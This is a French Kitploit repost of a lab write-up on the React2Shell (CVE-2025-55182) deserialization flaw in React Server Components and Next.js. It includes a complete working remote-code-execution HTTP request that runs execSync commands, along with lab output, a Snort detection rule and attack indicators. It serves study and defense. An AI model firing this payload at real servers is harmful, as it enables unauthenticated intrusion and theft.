Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: unauthenticated unsafe deserialization in React Server Components leading to reliable remote code execution via the Flight protocol. | Kitploit
Outils/GitHubGitHub/adityabhatt3010
/
react2shell-cve-2025-55182
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityCTFPenetration TestingLearning & EducationPayload Development
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: unauthenticated unsafe deserialization in React Server Components leading to reliable remote code execution via the Flight protocol.

Voir le dépôt
71il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🎯 React2Shell (CVE-2025-55182) : Des composants serveur React au RCE complet

Difficulté : Intermédiaire → Avancé
Catégorie : Exploitation Web | Désérialisation | RCE

Cover


🧩 Tâche 1 : Introduction — Pourquoi React2Shell est un gros problème

CVE-2025-55182, surnommée React2Shell, est l'une de ces vulnérabilités qui rend instantanément les défenseurs nerveux 😬. Découverte en décembre 2025, elle porte un score CVSS de 10.0, ce qui vous indique déjà qu'il ne s'agit pas d'un bogue anodin.

Fondamentalement, cette vulnérabilité affecte les composants serveur React (RSC) et les frameworks construits dessus — surtout Next.js. Ce qui fait peur ?

👉 Exécution de code à distance (RCE) non authentifiée 👉 Une seule requête HTTP fabriquée 👉 Les configurations par défaut sont vulnérables

Pas de connexion. Pas de permissions spéciales. Juste une requête bien formulée.

🔥 Paquets React concernés

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack
  • ✅ Versions corrigées

    • 19.0.1
    • 19.1.2
    • 19.2.1

    Cette salle vous explique pourquoi ce bogue existe, comment il est exploité et ce que les défenseurs peuvent y faire.

    Drapeau : Aucune réponse nécessaire.


    🧠 Tâche 2 : Composants serveur React et le protocole Flight

    Avant l'exploitation, nous avons besoin de clarté architecturale.

    Que sont les composants serveur React ?

    Les composants serveur React (introduits dans React 19) permettent à des parties d'une application React de s'exécuter sur le serveur, pas dans le navigateur. Cela signifie :

    • Les calculs lourds restent côté serveur ⚙️
    • Le client ne reçoit que le rendu final 📦
    • Meilleure performance, bundles plus petits

    Entrée en jeu : React Flight ✈️

    La communication entre client et serveur se fait via le protocole React Flight. Ce protocole sérialise les données côté client et les désérialise côté serveur.

    Il utilise des marqueurs spéciaux :

    • $@ → Référence de morceau

    • $B → Référence d'objet binaire (Blob)

    • Chemins de propriétés via la notation deux-points Exemple :

      root@kitploit:~
      $1:constructor:constructor
      

    ⚠️ Et c'est exactement là que cette logique de sérialisation pose problème.

    Question : Quel symbole désigne une référence Blob ? ✅ Réponse : $B


    💣 Tâche 3 : La vulnérabilité centrale — Désérialisation non sécurisée

    Au cœur de CVE-2025-55182 se trouve un défaut classique de désérialisation non sécurisée.

    Regardons le motif vulnérable (ne coupez pas 👇) :

    root@kitploit:~
    function requireModule(metadata) {  
     var moduleExports = __webpack_require__(metadata[0]);  
     // ... logique supplémentaire ...  
     return moduleExports[metadata[2]];  // LIGNE VULNÉRABLE  
    }  
    

    Pourquoi est-ce dangereux ?

    En JavaScript, la notation par crochets :

    root@kitploit:~
    obj[someKey]
    

    ne limite pas l'accès aux propriétés exportées uniquement. Elle parcourt toute la chaîne de prototypes.

    Voici maintenant l'observation critique 👀 :

    • Chaque fonction JavaScript a un .constructor
    • constructor pointe vers le constructeur Function
    • Function("code") = exécution JavaScript arbitraire

    Armer les références Flight

    Étant donné que le protocole Flight permet des chemins séparés par deux-points, un attaquant peut envoyer :

    root@kitploit:~
    $1:constructor:constructor
    

    Ce qui se résout en :

    1. Obtenir le morceau de module
    2. Accéder à .constructor
    3. Accéder à .constructor à nouveau → Function

    À ce stade, la partie est terminée 🎮.

    Drapeau : Aucune réponse nécessaire.


    🧨 Tâche 4 : Chaîne d'exploitation — Du bogue au RCE

    Maintenant, décomposons le PoC de maple3142, étape par étape.

    🧩 Étape 1 : Faux objet Chunk

    L'attaquant envoie une requête multipart contenant un objet Chunk factice :

    root@kitploit:~
    {  
     "then": "$1:__proto__:then",  
     "status": "resolved_model",  
     "reason": -1,  
     "value": "{\\"then\\":\\"$B1337\\"}",  
     "_response": {  
       "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
       "_chunks": "$Q2",  
       "_formData": {  
         "get": "$1:constructor:constructor"  
       }  
     }  
    }
    

    Cet objet imite la structure interne Chunk de React. En pointant then vers Chunk.prototype.then, React est piégé pour attendre une logique contrôlée par l'attaquant.


    🧩 Étape 2 : Abus du gestionnaire Blob

    Le marqueur $B1337 déclenche le gestionnaire de désérialisation Blob, qui exécute en interne :

    root@kitploit:~
    response._formData.get(response._prefix + id)
    

    Mais nous avons empoisonné :

    • _formData.get → Function
    • _prefix → JavaScript malveillant

    Résultat de l'exécution :

    root@kitploit:~
    Function("process.mainModule.require('child_process').execSync('xcalc');1337")
    

    💥 Exécution JavaScript arbitraire obtenue.


    🧩 Étape 3 : Exécution de commandes système

    Le PoC exécute :

    root@kitploit:~
    process.mainModule
      .require('child_process')
      .execSync('xcalc')
    

    Cela peut être trivialement remplacé par :

    • Shells inversés
    • Exfiltration de secrets
    • Lectures de fichiers
    • Vol d'identifiants cloud ☠️

    Drapeau : Aucune réponse nécessaire.


    📦 Tâche 5 : Analyse complète du PoC HTTP

    Voici la requête d'exploitation complète (textuelle, non rognée) :

    root@kitploit:~
    POST / HTTP/1.1  
    Host: localhost  
    Next-Action: x  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="1"
    
    "$@0"  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="2"
    
    []  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  
    
    

    (…le corps multipart continue…)

    Points clés à noter 👇

    • L'en-tête Next-Action déclenche les Actions Serveur
    • multipart/form-data est obligatoire
    • $@0 crée une auto-référence
    • $B1337 déclenche la logique Blob
    • constructor:constructor mène à Function

    Ce n'est pas accidentel — c'est une chaîne précisément conçue.


    🌍 Écosystème affecté

    • React : 19.0.0, 19.1.0, 19.1.1, 19.2.0

    • Next.js :

      • ≥14.3.0-canary.77
      • Tous les 15.x
      • Début du 16.x
    • Autres : React Router (RSC), Waku, Redwood SDK

    📊 Recherche Wiz : 39 % des environnements cloud exposés 🌐 Shodan : 571 000+ serveurs React, 444 000+ Next.js

    Ça fait… beaucoup 😶


    🧪 Tâche 6 : Exploitation en laboratoire

    D'abord dans Repeater, créez une nouvelle requête HTTP et sélectionnez la cible.

    1

    En utilisant Burp Suite Repeater, nous envoyons la charge utile :

    root@kitploit:~
    execSync('id')
    

    2

    Et ensuite :

    root@kitploit:~
    execSync('whoami')
    

    3

    ✅ Résultats

    • Utilisateur : ubuntu

    • Drapeau :

      root@kitploit:~
      {React-19.2.0}
      

    Exploitation propre, fiable et reproductible 💀


    🛡️ Tâche 7 : Détection et défense

    Bonne nouvelle pour les défenseurs 👮‍♂️ — l'exploitation laisse des traces.

    🔎 Indicateurs d'attaque

    • En-tête Next-Action
    • multipart/form-data
    • "status":"resolved_model"
    • "then":"$1:__proto__:then"

    Ceux-ci ne devraient jamais apparaître dans le trafic utilisateur normal.


    🚨 Règle Snort (v3)

    root@kitploit:~
    alert http any any -> $LAN_NETWORK any (
        msg:"Tentative potentielle de React2Shell / CVE-2025-66478 sur Next.js";
        flow:to_server,established;
        content:"Next-Action"; http_header; nocase;
        content:"multipart/form-data"; http_header; nocase;
        pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
        pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
        pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
        classtype:web-application-attack;
        sid:6655001;
        rev:1;
    )
    

    🧾 OSQuery — Recherche des paquets vulnérables

    root@kitploit:~
    {
      "queries": {
        "detect_rev2shell_react_server_components": {
          "query": "SELECT name, version, path FROM npm_packages WHERE ...",
          "interval": 3600
        }
      }
    }
    

    Parfait pour :

    • Pipelines CI/CD
    • Audits de postes de travail
    • Vérifications avant mise en production

    4


    🧠 Réflexions finales

    React2Shell est un exemple parfait de :

    • Pourquoi la désérialisation non sécurisée est mortelle
    • Comment les chaînes de prototypes peuvent vous trahir
    • Pourquoi les "configurations par défaut" sont dangereuses

    Une fois les versions corrigées installées et les recommandations de npm audit suivies, l'exploit meurt complètement ✅.

    ⚠️ Ne testez jamais cela en dehors de laboratoires autorisés.
    🔥 Corrigez toujours rapidement.
    🧠 Comprenez toujours pourquoi un bogue existe — pas seulement comment l'exploiter.


    ⭐ Suivez-moi et connectez-vous

    Si ce compte rendu vous a plu ou si vous souhaitez rester en contact avec mon travail en cybersécurité, CTF et VAPT :

    🔗 GitHub : https://github.com/AdityaBhatt3010
    💼 LinkedIn : https://www.linkedin.com/in/adityabhatt3010/
    ✍️ Medium : https://medium.com/@adityabhatt3010

    Bon hacking — de manière responsable 🗿🚀


    Télécharger l’outil